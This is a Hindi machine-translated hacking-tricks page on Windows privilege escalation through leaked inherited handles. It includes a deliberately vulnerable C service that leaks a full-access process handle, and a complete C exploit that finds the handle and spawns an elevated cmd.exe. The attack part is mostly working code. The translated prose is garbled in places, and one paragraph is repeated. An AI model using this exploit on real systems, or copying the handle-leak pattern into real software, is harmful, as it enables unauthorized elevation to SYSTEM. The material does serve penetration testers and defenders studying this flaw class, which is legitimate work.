अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
परिचय
प्रक्रिया में हैंडल विभिन्न Windows संसाधनों तक पहुंचने की अनुमति देते हैं:
कई विशेषाधिकार उन्नयन मामले हो चुके हैं जहां एक विशेषाधिकार वाली प्रक्रिया ने खुले और विरासत में लिए हुए हैंडल के साथ एक अनविशेषित प्रक्रिया को चलाया है जिसने उसे उन सभी हैंडल्स तक पहुंचने की अनुमति दी है।
उदाहरण के लिए, सोचें कि एक प्रक्रिया जो सिस्टम के रूप में चल रही है एक नई प्रक्रिया खोलती है (OpenProcess()) पूर्ण पहुंच के साथ। वही प्रक्रिया एक नई प्रक्रिया भी बनाती है (CreateProcess()) कम विशेषाधिकारों के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हुए हैंडल्स को विरासत में लेती है।
फिर, अगर आपके पास कम विशेषाधिकार वाली प्रक्रिया के लिए पूर्ण पहुंच है, तो आप OpenProcess() के साथ बनाई गई विशेषाधिकार वाली प्रक्रिया का हैंडल पकड़ सकते हैं और एक शैलकोड इंजेक्ट कर सकते हैं।
रोचक हैंडल
प्रक्रिया
जैसा कि आपने पहले उदाहरण में पढ़ा, अगर एक अनविशेषित प्रक्रिया एक प्रक्रिया हैंडल को विशेषाधिकार वाली प्रक्रिया से विरासत में लेती है जिसमें पर्याप्त अनुमतियाँ हैं, तो वह उस पर विचारक को कोड चलाने की अनुमति होगी।
इस उत्कृष्ट लेख में आप देख सकते हैं कि कैसे किसी प्रक्रिया हैंडल का शोध करना है जिसमें निम्नलिखित अनुमतियाँ हैं:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
धागा
प्रक्रिया हैंडलों की तरह, अगर एक अनविशेषित प्रक्रिया एक धागा हैंडल को विशेषाधिकार वाली प्रक्रिया से विरासत में लेती है जिसमें पर्याप्त अनुमतियाँ हैं, तो वह उस पर विचारक को कोड चलाने की अनुमति होगी।
इस उत्कृष्ट लेख में आप देख सकते हैं कि कैसे किसी प्रक्रिया हैंडल का शोध करना है जिसमें निम्नलिखित अनुमतियाँ हैं:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
फ़ाइल, कुंजी और खंड हैंडल
अगर एक अनविशेषित प्रक्रिया एक हैंडल विरासत में लेती है जिसमें लिखने की समकक्ष अनुमतियाँ हैं एक विशेषाधिकार फ़ाइल या रजिस्ट्री पर, तो वह फ़ाइल/रजिस्ट्री को अधिक लिख सकेगी (और बहुत से भाग्य से, विशेषाधिकार उन्नयन कर सकती है)।
खंड हैंडल फ़ाइल हैंडलों के समान होते हैं, इस प्रकार के ऑब्जेक्ट्स का सामान्य नाम "फ़ाइल मैपिंग" होता है। ये बड़ी फ़ाइलों के साथ काम करने के लिए उपयोग किए जाते हैं जिन्हें पूरी फ़ाइल को मेमोरी में रखे बिना काम करने के लिए उपयोग किया जाता है। यह उत्पीड़न किस्म के उत्पीड़न को "समान" बनाता है।
प्रक्रियाओं के हैंडल देखने का तरीका
प्रक्रिया हैकर
प्रक्रिया हैकर एक मुफ्त डाउनलोड करने योग्य उपकरण है। इसमें प्रक्रियाओं की जांच करने के कई अद्भुत विकल्प हैं और उनमें से एक है प्रत्येक प्रक्रिया के हैंडल्स देखने की क्षमता।
ध्यान दें कि सभी प्रक्रियाओं के सभी हैंडल्स देखने के लिए SeDebugPrivilege की आवश्यकता है (तो आपको प्रक्रिया हैकर को प्रशासक के रूप में चलाने की आवश्यकता है)।
प्रक्रिया के हैंडल देखने के लिए, प्रक्रिया पर दायाँ क्लिक करें और हैंडल्स का चयन करें:
फिर आप हैंडल पर दायाँ क्लिक करके अनुमतियाँ जांच सकते हैं:
Sysinternals हैंडल्स
हैंडल्सSysinternals के बाइनरी भी कन्सोल में प्रक्रियाओं के हैंडल्स को सूचीबद्ध करेगा:
LeakedHandlesFinder
यह उपकरण आपको लीक हो रहे हैंडल्स को निगरानी करने और उन्हें उन्नयन करने के लिए अनुमति देता है।
विधि
अब जब आप प्रक्रियाओं के हैंडल देखने का तरीका जान चुके हैं, तो आपको यह देखना है कि क्या कोई अनविशेषित प्रक्रिया विशेषाधिकार वाले हैंडल्स तक पहुंच रहा है। उस मामले में, प्रक्रिया के उपयोगकर्ता को हैंडल प्राप्त करने और उसे उन्नयन करने के लिए इसका दुरुपयोग करने की संभावना हो सकती है।
पहले कहा गया था कि आपको सभी हैंडल तक पहुंचने के लिए SeDebugPrivilege की आवश्यकता है। लेकिन एक उपयोगकर्ता अपनी प्रक्रियाओं के हैंडल तक पहुंच सकता है, इसलिए यदि आप उस उपयोगकर्ता से सिर्फ उस उपयोगकर्ता के अनुमतियों के साथ privesc करना चाहते हैं तो उपयोगकर्ता सामान्य अनुमतियों के साथ उपकरणों को चलाने के लिए उपयोगी हो सकता है।
उदाहरण के लिए, निम्नलिखित कोड एक Windows सेवा का हिस्सा है जो संकटग्रस्त हो सकता है। इस सेवा बाइनरी का संकटग्रस्त कोड Exploit फ़ंक्शन के अंदर स्थित है। यह फ़ंक्शन पूरी पहुंच वाले नए हैंडल प्रक्रिया बनाना शुरू करता है। फिर, यह कम विशेषाधिकार वाली प्रक्रिया बनाता है (explorer.exe के कम विशेषाधिकार टोकन की प्रतिलिपि बनाकर) C:\users\username\desktop\client.exe को क्रियान्वित करता है। संकटग्रस्तता इस तथ्य में है कि यह कम विशेषाधिकार वाली प्रक्रिया bInheritHandles को TRUE के रूप में बना रहा है।
इसलिए, यह कम विशेषाधिकार प्रक्रिया पहले बनाए गए उच्च विशेषाधिकार प्रक्रिया का हैंडल पकड़ सकती है और शेलकोड इंजेक्ट और क्रियान्वित कर सकती है (अगले खंड देखें)।
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
शोध उदाहरण 1
एक वास्तविक स्थिति में आप शायद नियंत्रण नहीं कर पाएंगे जो बाइनरी होगा जो विकल्पी कोड (C:\users\username\desktop\client.exe इस मामले में) द्वारा निष्पादित किया जाएगा। शायद आप किसी प्रक्रिया को क्षति पहुंचाएंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकारी प्रक्रिया के किसी भी विकल्पी हैंडल तक पहुंच सकते हैं।
इस उदाहरण में आप C:\users\username\desktop\client.exe के लिए एक संभावित उत्पीड़न का कोड पा सकते हैं।
इस कोड का सबसे दिलचस्प हिस्सा GetVulnProcHandle में स्थित है। यह फ़ंक्शन सभी हैंडल्स को प्राप्त करना शुरू करेगा, फिर यह जांचेगा कि क्या उनमें से कोई भी एक ही PID का है और यदि हैंडल किसी प्रक्रिया का है। यदि सभी योग्यताएँ पूरी हो जाती हैं (एक पहुंचने योग्य खुली प्रक्रिया हैंडल मिल जाता है), तो यह प्रक्रिया के हैंडल का दुरुपयोग करके शैलकोड डालने और निष्पादित करने का प्रयास करेगा।
शैलकोड का इंजेक्शन Inject फ़ंक्शन के अंदर किया जाता है और यह बस शैलकोड को विशेषाधिकारी प्रक्रिया के अंदर लिखेगा और एक थ्रेड बनाएगा जो उसी प्रक्रिया के अंदर शैलकोड को निष्पादित करेगा।
एक वास्तविक स्थिति में आप शायद नियंत्रण नहीं कर पाएंगे जो बाइनरी होने जा रहा है जिसे कमजोर कोड द्वारा निष्पादित किया जाएगा (C:\users\username\desktop\client.exe इस मामले में)। शायद आप किसी प्रक्रिया को क्षति पहुंचाएंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकारी प्रक्रिया के किसी विकल्पनीय हैंडल तक पहुंच सकते हैं।
इस उदाहरण में, खुले हैंडल का दुरुपयोग करने की बजाय और एक शैलकोड डालने और निष्पादित करने के लिए, विशेषाधिकारी खुले हैंडल प्रक्रिया का टोकन नया बनाने के लिए उपयोग किया जाएगा। यह 138 से 148 तक की लाइनों में किया जाता है।
ध्यान दें कि फ़ंक्शन UpdateProcThreadAttribute का उपयोग किया जाता है विशेषता PROC_THREAD_ATTRIBUTE_PARENT_PROCESS और खुली विशेषाधिकारी प्रक्रिया के हैंडल के साथ। इसका अर्थ है कि निर्मित प्रक्रिया थ्रेड जो _cmd.exe को निष्पादित कर रहा है_** उसी टोकन विशेषाधिकार के साथ होगा जैसा खुले हैंडल प्रक्रिया का हैंडल है**।
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
यह उपकरण आपको लीक हैंडल को मॉनिटर करने देता है ताकि आप वंलरेबल हैंडल्स को खोज सकें और उन्हें स्वचालित रूप से एक्सप्लॉइट कर सकें। इसमें एक लीक करने के लिए भी एक उपकरण है।